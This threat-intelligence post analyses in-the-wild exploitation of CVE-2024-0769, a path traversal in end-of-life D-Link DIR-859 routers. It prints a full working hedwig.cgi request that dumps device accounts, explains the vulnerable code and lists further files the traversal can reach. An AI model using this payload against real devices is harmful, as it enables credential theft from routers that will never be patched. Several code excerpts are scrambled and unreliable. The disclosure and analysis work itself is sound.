Recently Sift caught an interesting payload. As it turns out, the exploit was CVE-2024-0769, which is now tagged here: D-Link DIR-859 Information Disclosure Attempt .
This vulnerability is a path traversal leading to information disclosure. But, perhaps most notably, it affects D-Link DIR-859 WiFi routers. All revisions. All firmware. And the product is End-of-Life (EOL) meaning it will never receive a patch.
The original disclosure/writeup is available here and uses DIR-859 Firmware RevA_FW_Patch_v1.06B01
. For their PoC, they demonstrate utilizing the path traversal to trigger the rendering of:
../../../../htdocs/webinc/getcfg/DHCPS6.BRIDGE-1.xml
GreyNoise observed a slight variation in-the-wild which leverages the vulnerability to render a different PHP file to dump account names, passwords, groups, and descriptions for all users of the device. At the time of writing we are not aware of the motivations to disclose/collect this information and are actively monitoring it:
POST /hedwig.cgi HTTP/1.1
Host: <ip>:8088
Content-Length: 141
Content-Type: text/xml
Cookie: uid=R8tBjwtFc8
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; The World)
<?xml version="1.0" encoding="utf-8"?>
<postxml><module><service>
../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml
</service></module></postxml>
Let’s take a quick peek at how it works and what’s different from the original PoC.
What it is?
On a D-Link DIR-859, HTTP requests to POST /hedwig.cgi
and pretty much all other CGI calls actually go through a single binary located at /htdocs/cgibin
and are handled with a large branching main function with a jump table:
// main
if (strcmp($s0, "captcha.cgi") == 0)
{
= captchacgi_main;
$t9 = argc;
argc_1 }
else if (strcmp($s0, "hedwig.cgi") == 0)
{
= hedwigcgi_main;
$t9 = argc;
argc_1 }
else if (strcmp($s0, "pigwidgeon.cgi") == 0)
{
= pigwidgeoncgi_main;
$t9 = argc;
argc_1 }
The request is then passed to hedwigcgi_main
where the vulnerable code section is reached. User-controlled data is formatted with snprintf
and passed to the PHP file /htdocs/webinc/fatlady.php
via a call to xmldbc_ephp
.
// hedwigcgi_main
/* Payload is checked to contain postxml */
= strstr(DAT_00437430,"<postxml>");
pcVar1 /* Copy parent XML node (module) */
if (pcVar1 != (char *)0x0) {
(pFVar3,"%s\n",pcVar1);
fprintf}
= local_4bc + iVar9;
ppcVar7 /* Close all XML nodes */
do {
= iVar5 + -1;
iVar5 (pFVar3,"</%s>\n",*ppcVar7);
fprintf= ppcVar7 + -1;
ppcVar7 } while (0 < iVar5);
/* Flush output to disk as temp file */
(pFVar3);
fflush/* Read the file through xmldbc and remove temp file */
((char *)0x0,2,"/var/tmp/temp.xml");
xmldbc_read= fileno(pFVar3);
iVar5 (iVar5,0,0);
lockf(pFVar3);
fclose("/var/tmp/temp.xml");
remove= sobj_get_string(iVar2);
puVar4 /* Where the magic happens */
/* User-controlled <service> node is formatted for fatlady.php */
(acStack_428,0x400,"/htdocs/webinc/fatlady.php\nprefix=%s/%s\nPrivateKey=%s\n",
snprintf"/runtime/session",puVar4,privatekey);
/* Execute the PHP file */
((char *)0x0,0,acStack_428,_stdout); xmldbc_ephp
The relevant portions of /htdocs/webinc/fatlady.php
are shown below for how they parse and resolve the (now) user controlled module->service.
fatlady.php
HTTP/1.1 200 OK
-Type: text/xml
Content
<?
include "/htdocs/phplib/trace.php";
// <SNIP>
foreach ($prefix."/postxml/module")
{"valid");
del(if (query("FATLADY")=="ignore") continue;
$service = query("service");
if ($service == "") continue;
"FATLADY: got service [".$service."]");
TRACE_debug(// This is where the user-controlled data is injected
// for a path traversal
$target = "/htdocs/phplib/fatlady/".$service.".php";
$FATLADY_prefix = $prefix."/postxml/module:".$InDeX;
$FATLADY_base = $prefix."/postxml";
if (isfile($target)==1) dophp("load", $target);
else
{// <SNIP>
}if ($FATLADY_result!="OK") break;
}echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n";
echo "<hedwig>\n";
echo "\t<result>". $FATLADY_result. "</result>\n";
echo "\t<node>". $FATLADY_node. "</node>\n";
echo "\t<message>". $FATLADY_message. "</message>\n";
echo "</hedwig>\n";
?>
What it do?
In the originally provided PoC the path traversal vulnerability was used to render DHCPS6.BRIDGE-1.xml
, which is actually just a stub that includes DHCPS6.LAN-1.xml
. These can be arbitrarily substituted with the same end result as shown in the original writeup: disclosing plaintext username/password.
In the variation as observed by GreyNoise DEVICE.ACCOUNT.xml
is utilized. We went ahead and retrieved this file in full. While the exploit conditions are the same as the public PoC, the variation as observed by GreyNoise is dumping all name, password, group, and description for all users of the device.
DEVICE.ACCOUNT.xml.php
<module>
<service><?=$GETCFG_SVC?></service>
<device>
<account>
<?
$cnt = query("/device/account/count");
if ($cnt=="") $cnt=0;
echo "\t\t\t<seqno>".query("/device/account/seqno")."</seqno>\n";
echo "\t\t\t<max>".query("/device/account/max")."</max>\n";
echo "\t\t\t<count>".$cnt."</count>\n";
foreach("/device/account/entry")
{if ($InDeX > $cnt) break;
if (query("password")=="") $pwd = ""; else $pwd = "==OoXxGgYy==";
echo "\t\t\t<entry>\n";
echo "\t\t\t\t<name>". get("x","name"). "</name>\n";
echo "\t\t\t\t<password>". $pwd. "</password>\n";
echo "\t\t\t\t<group>". get("x", "group"). "</group>\n";
echo "\t\t\t\t<description>".get("x","description")."</description>\n";
echo "\t\t\t</entry>\n";
}?> </account>
<session>
<?
echo dump(3, "/device/session");
?> </session>
</device>
</module>
What it for?
It is unclear at this time what the intended use of this disclosed information is, it should be noted that these devices will never receive a patch. Any information disclosed from the device will remain valuable to attackers for the lifetime of the device as long as it remains internet facing. These attributes make for the potential of a long-tail of exploitation that may come to a head at a later date, such as through a currently unknown authenticated RCE vulnerability in the affected device.
We’ll continue to keep a close eye on relevant activity.
As such, all of the possible variations of other getcfg
files that can be invoked using CVE-2024-0769 are listed after the break for to help security researchers locate this blog via search engines for any variations of exploitation that may crop up in the future.
ACL.xml.php MULTICAST.xml.php
BRIDGE.xml.php NAT.xml.php
BWC.xml.php NETSNIPER.NAT-1.xml.php
CALLMGR.xml.php PFWD.NAT-1.xml.php
CALL.MISSED.xml.php PFWD.NAT-2.xml.php
DDNS4.INF.xml.php PHYINF.BRIDGE-1.xml.php
DDNS4.WAN-1.xml.php PHYINF.LAN-1.xml.php
DDNS4.WAN-2.xml.php PHYINF.WAN-1.xml.php
DDNS4.WAN-3.xml.php PHYINF.WIFI.xml.php
DEVICE.ACCOUNT.xml.php PORTT.NAT-1.xml.php
DEVICE.DIAGNOSTIC.xml.php QOS.xml.php
DEVICE.HOSTNAME.xml.php ROUTE6.DYNAMIC.xml.php
DEVICE.LAYOUT.xml.php ROUTE6.STATIC.xml.php
DEVICE.LOG.xml.php ROUTE.DESTNET.xml.php
DEVICE.PASSTHROUGH.xml.php ROUTE.IPUNNUMBERED.xml.php
DEVICE.RDNSS.xml.php ROUTE.STATIC.xml.php
DEVICE.TIME.xml.php RUNTIME.CLIENTS.xml.php
DHCPS4.BRIDGE-1.xml.php RUNTIME.CONNSTA.xml.php
DHCPS4.INF.xml.php RUNTIME.DDNS4.WAN-1.xml.php
DHCPS4.LAN-1.xml.php RUNTIME.DEVICE.xml.php
DHCPS4.LAN-2.xml.php RUNTIME.DFS.xml.php
DHCPS6.BRIDGE-1.xml.php RUNTIME.INF.BRIDGE-1.xml.php
DHCPS6.INF.xml.php RUNTIME.INF.LAN-1.xml.php
DHCPS6.LAN-1.xml.php RUNTIME.INF.LAN-2.xml.php
DHCPS6.LAN-2.xml.php RUNTIME.INF.LAN-4.xml.php
DHCPS6.LAN-3.xml.php RUNTIME.INF.LAN-5.xml.php
DHCPS6.LAN-4.xml.php RUNTIME.INF.LAN-6.xml.php
DMZ.NAT-1.xml.php RUNTIME.INF.WAN-1.xml.php
DMZ.NAT-2.xml.php RUNTIME.INF.WAN-2.xml.php
DNS4.INF.xml.php RUNTIME.INF.WAN-3.xml.php
DNS4.LAN-1.xml.php RUNTIME.INF.WAN-4.xml.php
DNS4.LAN-2.xml.php RUNTIME.INF.xml.php
FDISK.xml.php RUNTIME.LOG.xml.php
FIREWALL-2.xml.php RUNTIME.OPERATOR.xml.php
FIREWALL-3.xml.php RUNTIME.PHYINF.ETH-1.xml.php
FIREWALL6.xml.php RUNTIME.PHYINF.ETH-2.xml.php
FIREWALL.xml.php RUNTIME.PHYINF.ETH-3.xml.php
HTTP.WAN-1.xml.php RUNTIME.PHYINF.WLAN-1.xml.php
HTTP.WAN-2.xml.php RUNTIME.PHYINF.WLAN-2.xml.php
HTTP.WAN-3.xml.php RUNTIME.PHYINF.xml.php
ICMP.WAN-1.xml.php RUNTIME.ROUTE.DYNAMIC.xml.php
ICMP.WAN-2.xml.php RUNTIME.TIME.xml.php
ICMP.WAN-3.xml.php RUNTIME.TTY.xml.php
INET.BRIDGE-1.xml.php RUNTIME.UPNP.PORTM.xml.php
INET.INF.xml.php RUNTIME.WPS.WLAN-1.xml.php
INET.LAN-1.xml.php SCHEDULE.xml.php
INET.LAN-2.xml.php SMS.SEND.xml.php
INET.LAN-3.xml.php SMS.xml.php
INET.LAN-4.xml.php STARSPEED.WAN-1.xml.php
INET.LAN-5.xml.php UPNP.BRIDGE-1.xml.php
INET.LAN-6.xml.php UPNP.LAN-1.xml.php
INET.WAN-1.xml.php UPNP.LAN-3.xml.php
INET.WAN-2.xml.php URLCTRL.xml.php
INET.WAN-3.xml.php VSVR.NAT-1.xml.php
INET.WAN-4.xml.php VSVR.NAT-2.xml.php
INET.WAN-5.xml.php WAN.RESTART.xml.php
INET.xml.php WAN.xml.php
INF.xml.php WIFI.PHYINF.xml.php
IUM.xml.php WIFI.WLAN-1.xml.php
LAN.xml.php WIFI.WLAN-2.xml.php
MACCTRL.xml.php WIFI.xml.php